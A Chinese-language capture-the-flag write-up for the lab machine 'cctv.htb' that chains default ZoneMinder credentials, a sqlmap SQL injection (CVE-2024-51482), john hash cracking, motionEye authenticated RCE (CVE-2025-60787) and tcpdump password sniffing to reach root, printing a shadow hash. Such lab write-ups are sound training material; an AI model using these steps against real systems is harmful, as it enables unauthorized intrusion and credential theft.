基本信息
端口扫描
22和80:
1 | nmap -sC -sV -Pn 10.129.230.163 |
80
需要加hosts:
1 | 10.129.230.163 cctv.htb |
监控摄像头相关的:
ZoneMinder
staff login可以看到是ZoneMinder,默认账号密码登录:
1 | admin : admin |
- Getting Started — ZoneMinder documentation
https://zoneminder.readthedocs.io/en/stable/userguide/gettingstarted.html#enabling-authentication
CVE-2024-51482
v1.37.63,搜索可以找到相关漏洞:
- Gh0s7Ops/CVE-2024-51482-Multi-Stage-Surveillance-System-Exploit: MinderZone 1.37.* ≤ 1.37.63
https://github.com/Gh0s7Ops/CVE-2024-51482-Multi-Stage-Surveillance-System-Exploit
按照文档一步步来,首先是sql注入部分:
1 | sqlmap -u "http://cctv.htb//zm/index.php?view=request&request=event&action=removetag&tid=1" \ |
破解出密码:
1 | sudo john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt |
mark & motioneye
得到的账号密码ssh登录:
非预期 motioneye CVE-2025-60787
(直接这一步应该是非预期,跳过了sa_mark)
之后就是前面repo里第二部分,motioneye服务rce:
- Rapid7 Vulnerability Database
https://www.rapid7.com/db/modules/exploit/linux/http/motioneye_auth_rce_cve_2025_60787/ - gunzf0x/CVE-2025-60787: PoC for CVE-2025-60787 - Authenticated RCE in motionEye for all versions up to 0.43.1b4 (included)
https://github.com/gunzf0x/CVE-2025-60787
1 | 转发端口 |
预期 sa_mark
预期的中间步骤,备份文件里看到sa_mark相关行为:
1 | mark@cctv:/opt/video/backups$ cat server.log |
以及tcpdump相关权限:
1 | mark@cctv:/opt/video/backups$ getcap /usr/bin/tcpdump |
tcpdump去抓流量,得到sa_mark密码:
1 | /usr/bin/tcpdump -i any net 172.25.0.0/24 -w /tmp/cap.pcap |
后面就同样是进入命令注入部分了
root & flags
利用命令注入打到的就是root:
shadow
1 | root:$y$j9T$yA2tQ1NiQFodczsDATtiZ1$3FOGPUX6xT.w9C0RgfE.h7ed9bKq68IV3ydkAXzT989:20399:0:99999:7::: |
参考资料
- Getting Started — ZoneMinder documentation
https://zoneminder.readthedocs.io/en/stable/userguide/gettingstarted.html#enabling-authentication - Gh0s7Ops/CVE-2024-51482-Multi-Stage-Surveillance-System-Exploit: MinderZone 1.37.* ≤ 1.37.63
https://github.com/Gh0s7Ops/CVE-2024-51482-Multi-Stage-Surveillance-System-Exploit - gunzf0x/CVE-2025-60787: PoC for CVE-2025-60787 - Authenticated RCE in motionEye for all versions up to 0.43.1b4 (included)
https://github.com/gunzf0x/CVE-2025-60787